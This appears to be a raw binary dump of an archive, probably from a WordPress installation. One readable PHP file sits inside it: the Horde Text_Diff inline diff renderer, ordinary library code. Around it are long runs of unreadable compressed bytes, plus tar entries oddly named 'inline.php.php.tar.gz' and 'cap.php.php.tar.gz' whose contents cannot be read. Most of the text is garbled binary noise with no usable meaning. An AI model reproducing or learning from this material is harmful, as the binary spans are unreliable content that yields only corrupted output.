!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) < PK     |\'ݣ    
  inline.phpnu [        <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
PK     |\ \      Renderer.tarnu [        inline.php.php.tar.gz                                                                               0000644                 00000003352 15217301621 0010526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,                                                                                                                                                                                                                                                                                         cap.php.php.tar.gz                                                                                  0000644                 00000056633 15217301621 0010025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
